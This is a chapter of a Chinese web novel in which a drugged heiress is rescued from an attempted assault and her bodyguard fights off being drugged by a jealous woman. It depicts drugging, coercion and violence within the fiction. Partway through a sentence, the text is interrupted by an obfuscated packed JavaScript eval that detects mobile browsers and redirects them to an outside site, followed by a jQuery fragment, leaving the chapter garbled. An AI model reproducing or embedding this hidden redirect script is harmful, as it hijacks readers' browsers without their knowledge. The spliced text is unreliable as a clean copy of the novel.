55. 多有趣的女孩子

作品:《二十世纪淑女与保镖

    是陆达衢。


    他发泄完一通怒火,站起身又用皮鞋毫不留情地踹向地上那头肥猪的肚子。


    不知踹了多少下。


    直到对方只能发出微弱的呜咽,像条死狗一样苟延残喘。


    胖子瘫在地上,血肉模糊,奄奄一息。


    陆达衢喘着粗气,拍掉身上的灰尘。


    他平日里看似玩世不恭,实则心思缜密。


    今晚的订婚宴,他早就拉了一份名单,派了人盯着那些风评恶劣的货色,一有异动立刻汇报,绝不容许任何人搅局,这才让他能及时赶到。


    只是他万万没想到,这杜金海色胆包天,竟然把主意打到了岑万山的嫡女头上。


    他眼神阴鸷地扫过地上那摊烂泥。


    这事要说岑家内部没人接应,绝成不了。


    这账,往后慢慢算。


    眼下最重要的是她。


    他回头看向床上,突然脸色一变。


    岑碧筠面色潮红,嘴角渗出一丝鲜血。


    “该死。”


    他急忙冲过去,将手指塞进她齿间,用力撬开她的牙关,不让她继续伤害自己。


    另一只手别过脸,摸索着为她重新扣好衣扣。


    “岑三,是我!不许再咬了,是我陆达衢!”


    但岑碧筠意识混乱,仍然死死咬着舌头。


    陆达衢只得将手指留在她齿间任她咬,钻心的疼痛让他眉心紧蹙,但他仍耐着性子不停地低声呼唤她,试图唤醒她的意识。


    “你没事了,那畜生没得逞!听见了吗?你没被碰过,我保证!”


    “岑三,是我!”


    他任由她咬着,用另一只手的拇指轻轻拭去她脸颊上的泪痕。


    过了不知多久,岑碧筠的睫毛颤了几下,终于缓缓地睁开了眼睛。


    迷蒙的视线逐渐聚焦,眼前那张熟悉又紧张的脸庞缓缓清晰。


    积蓄的泪水瞬间决堤,汹涌而出。


    她哽咽着。


    “我要……我要严恕……”


    ……


    严恕的车猛地刹在烟花巷口。


    他推开门,一股浓重的异香从屋里涌出来。


    春泥只穿一件肚兜,蜷在床角哭。


    看见他进来,她扑到他怀里大哭,“严大哥!我不干净了!我爹给我下药,我一醒就在这儿了!”


    严恕没动。


    “我不活了呜呜呜——”


    春泥哭得悲恸。


    他把她从身上拉开,扯过被子裹住她,转身面对房门。


    “春泥。”


    他开口,“我早说过,给你一笔钱,要么远走高飞,离开这里重新开始。要么,我给你物色个老实本分的人家,安安稳稳嫁了,是你自己一味固执,不肯听。”


    空气里只剩下春泥压抑的抽泣声。


    “这是你的命。”


    严恕话音将落,春泥的哭声戛然而止。


    她裹着被子,难以置信地看着那个伟岸的背影,眼泪无声无息地疯狂涌出,划过她苍白的面颊。


    半晌,她才找回自己的声音。


    “严……严大哥……你怎么……你怎么能说出这样狠心的话来呀?”


    她的眼泪簌簌地往下掉,“是不是……是不是因为那个岑小姐?你有了更好的选择……是不是就想……就想把我像丢垃圾一样丢掉了,是不是?”


    “说错了,”严恕没回头,“我从来没选过你。”


    春泥噎住了,只剩下难以置信的喘息。


    严恕继续说,“你大概不知道,我当年救你,也是因为筠筠。”


    “是她当年大发善心救了我,后来我遇到你,帮你或许也只是冥冥之中,想延续那份……我自己也说不清道不明的因果。”


    他深吸一口气,“我对你,从来只有同情,没有爱,一丝一毫都没有。”


    春泥冷笑起来,“同情,没有爱?好,好一个同情!”


    她的声音尖起来,“那严大哥,你怎么知道那位岑家三小姐对你是爱不是同情?你怎么知道她没拿你当个玩意儿,当个消遣的工具?”


    严恕僵住了。


    春泥的话戳进他心里。


    他一直怕这个。


    岑碧筠对他,到底是真心,还是别的什么?


    那个他不敢深思不愿触碰的问题。


    他对岑碧筠的感情,何尝不是一直伴随着这种不确定的煎熬。


    她对他的靠近,是爱,是同情,还是只是在她可控范围内,一个合适的选择。


    他握紧拳头,声音更冷,“这跟你没关系。”


    他迈步要走。


    “以后别找人叫我。”


    “我们之间的缘分,到此为止。”


    他脚还没跨出去,春泥在身后冷冷出声。


    “你走不了了。”


    一阵猛烈的头晕袭来。


    严恕晃了一下,扶住门框。


    他转过头,看见桌上点着一炷香,冒着细细的烟。


    烟花巷这种下三滥地方多得是迷烟。


    他太大意了。


    严恕腿一软,重重栽倒在地,什么都不知道了。


    ……


    陆达衢没惊动任何人。


    这种事不光彩,闹大了对岑家名声不好,对他陆家也没半点好处。


    他找来麻袋,把瘫在地上的杜金海塞进去,让下人趁夜提前扔回杜家门口。


    账,以后再慢慢算。


    眼下最麻烦的是岑碧筠。


    她大概是中了药,脸颊烧得通红,呼吸又急又轻,拼命忍着难以启齿的不适,整个人透出惊心动魄的美。


    陆达衢用床单把她从头到脚裹紧,抄近路把人抱进自己车里,一路开到离陆宅不远的路边停下。


    这是她刚才迷糊间嘟囔过要和严恕碰头的地方。


    他派人去找严恕。


    手下很快回报说严恕七点多钟就急匆匆走了,没说去哪,也没说什么时候回。


    车里,岑碧筠蜷在副驾驶座上,牙齿死死咬着下唇,身体微微发抖,明显是在跟体内的药效较劲,样子可怜得很。


    陆达衢要不是还剩点良心,差点就想啧两声。


    向来端庄得体的岑三小姐,居然也有这么狼狈的时候,偏偏还让他瞧见了。


    他伸手探了探她的额头。


    指尖刚碰到皮肤,岑碧筠就猛地一颤,迅速扭脸躲开。


    “我能帮你。”


    陆达衢凑近她耳边,压低声音,诱|人犯罪。


    呼出的气吹得她耳根发痒,直往心里钻。


    岑碧筠闭紧眼,咬伤的舌头让她不想开口,索性


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343146|180403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    装哑巴,用沉默拒绝。


    陆达衢倒没计较。


    但他心里清楚,今晚要是真把她这样交给严恕,凭这药性,他和岑家的婚事十有八|九得黄。


    他有点不甘心。


    多有趣的女孩子。


    他捏住她的下巴,把她的脸转过来。


    岑碧筠费力地撑开沉重的眼皮,眼眶泛红,眼神已经有些涣散,却还强撑着看向他。


    ……


    一阵凉意袭来,让严恕昏沉发热的脑袋稍微清醒了些。


    他感到一双柔软的手在他身上不安分地游走。


    他费力地抬眼看向墙上的挂钟,指针快要指向九点。


    筠筠在等他。


    这个念头不断在他混沌的意识里挣扎。


    他用余光扫到旁边桌角的玻璃烟灰缸。


    他咬紧牙关,用尽身上最后一点力气,伸手抓住烟灰缸,狠狠砸向身上那人的头。


    “啊!”


    春泥尖叫一声,捂住额头跌到一边,指缝间很快渗出鲜血。


    严恕趁机将那沾血的烟灰缸重重摔在地上。


    玻璃四分五裂,飞溅的碎片擦过春泥的脸颊,又划出一道血痕。


    她吓得缩进墙角,惊恐地望着他。


    她从没见过严大哥这样杀气腾腾的样子。


    是了,她一直觉得他好说话,却忘了他在青云堂是靠什么立足的。


    严恕挣扎着滚到地上,抓起一块锋利的碎片,毫不犹豫地在自己的手背上划下一道深口子。


    剧痛让他瞬间清醒了不少。


    门猛地被撞开。


    一直等在楼下的阿贵冲了进来,看到满头是血衣衫不整的春泥缩在墙角,又看到地上满手是血眼神狠厉的严恕,吓了一|大跳。


    “树哥!我在楼下等了好久不见你下来,陆家那边还等着咱们呢!你这……这是怎么了?”


    严恕喘着粗气,示意阿贵捂住口鼻别吸气。


    还有残余的迷烟,春泥指定是提前吃了解药。


    伤口的疼痛让他的头脑越来越清醒。


    他借着阿贵的搀扶站起身,冷冷地扫了一眼墙角的春泥。


    “再来找我,”他的声音沙哑,“敲你的就不是烟灰缸了。”


    说完,他头也不回地离开了这个令人作呕的地方。


    ……


    车厢内只剩下岑碧筠越来越急促的呼吸声。


    陆达衢的气息拂过她的脸颊。


    岑碧筠看着他,舌尖的钝痛让她每个字都说得格外艰难,“说到底,陆三少,我们是一种人。”


    陆达衢将一只手撑在她身侧的车窗上,将她困在他与座椅之间,呼吸可闻。


    岑碧筠没有退缩,“我们都是在父母家族的期待下长大的,不像别的兄弟姊妹,或多或少还能有点任性妄为的空间。我们在外面,每一个表情,每一个决定,甚至说的每一句话,代表的都不是自己,是岑家,是陆家。”


    她微微吸了口气,压下身体的不适,“所以我们逼自己早早成熟,逼自己吞下所有委屈和不甘,装出一副游刃有余万事皆在掌控的样子。从以前到现在,好像从来没有一个地方,能让我们真正喘口气。”


    她的目光坚定地迎上陆达衢的眼眸,“可是陆达衢,我岑碧筠,不想结了婚也还是这样。”